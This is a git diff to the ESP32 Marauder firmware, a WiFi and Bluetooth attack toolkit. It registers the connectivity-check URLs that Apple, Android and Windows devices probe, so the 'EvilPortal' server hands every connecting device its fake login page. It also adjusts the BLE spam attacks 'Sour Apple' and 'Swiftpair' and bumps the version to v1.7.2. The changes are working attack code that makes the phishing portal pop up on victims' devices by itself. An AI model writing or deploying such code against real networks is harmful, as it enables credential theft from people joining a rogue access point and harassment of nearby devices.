diff --git a/esp32_marauder/EvilPortal.cpp b/esp32_marauder/EvilPortal.cpp
index 991c608..3749e8e 100644
--- a/esp32_marauder/EvilPortal.cpp
+++ b/esp32_marauder/EvilPortal.cpp
@@ -72,6 +72,30 @@ void EvilPortal::setupServer() {
     });
   #endif
 
+  const char* captiveEndpoints[] = {
+    "/hotspot-detect.html",
+    "/library/test/success.html",
+    "/success.txt",
+    "/generate_204",
+    "/gen_204",
+    "/ncsi.txt",
+    "/connecttest.txt",
+    "/redirect"
+  };
+
+  for (int i = 0; i < sizeof(captiveEndpoints) / sizeof(captiveEndpoints[0]); i++) {
+    
+    #ifndef HAS_PSRAM
+      server.on(captiveEndpoints[i], HTTP_GET, [this](AsyncWebServerRequest *request){
+        request->send_P(200, "text/html", index_html);
+      });
+    #else
+      server.on(captiveEndpoints[i], HTTP_GET, [this](AsyncWebServerRequest *request){
+        request->send(200, "text/html", index_html);
+      });
+    #endif
+  }
+
   server.on("/get-ap-name", HTTP_GET, [this](AsyncWebServerRequest *request) {
     request->send(200, "text/plain", WiFi.softAPSSID());
   });
diff --git a/esp32_marauder/WiFiScan.cpp b/esp32_marauder/WiFiScan.cpp
index 8c6c94a..b2f6106 100644
--- a/esp32_marauder/WiFiScan.cpp
+++ b/esp32_marauder/WiFiScan.cpp
@@ -3438,8 +3438,6 @@ void WiFiScan::RunSourApple(uint8_t scan_mode, uint16_t color) {
       display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
     #endif
 
-    this->ble_initialized = true;
-
     #ifdef HAS_FLIPPER_LED
       flipper_led.sniffLED();
     #elif defined(XIAO_ESP32_S3)
@@ -3484,7 +3482,6 @@ void WiFiScan::RunSwiftpairSpam(uint8_t scan_mode, uint16_t color) {
       display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
     #endif
 
-    this->ble_initialized = true;
 
     #ifdef HAS_FLIPPER_LED
       flipper_led.attackLED();
diff --git a/esp32_marauder/WiFiScan.h b/esp32_marauder/WiFiScan.h
index c468d06..f45e85c 100644
--- a/esp32_marauder/WiFiScan.h
+++ b/esp32_marauder/WiFiScan.h
@@ -11,7 +11,7 @@
 #include <vector>
 
 #ifdef HAS_BT
-  #include <NimBLEDevice.h>
+  #include <NimBLEDevice.h> // 1.3.8
 #endif
 
 #include <WiFi.h>
diff --git a/esp32_marauder/configs.h b/esp32_marauder/configs.h
index 4b2d0e0..fdd80e0 100644
--- a/esp32_marauder/configs.h
+++ b/esp32_marauder/configs.h
@@ -28,7 +28,7 @@
   //#define MARAUDER_CYD_GUITION // ESP32-2432S024 GUITION
   //// END BOARD TARGETS
 
-  #define MARAUDER_VERSION "v1.7.1"
+  #define MARAUDER_VERSION "v1.7.2"
 
   #define GRAPH_REFRESH   100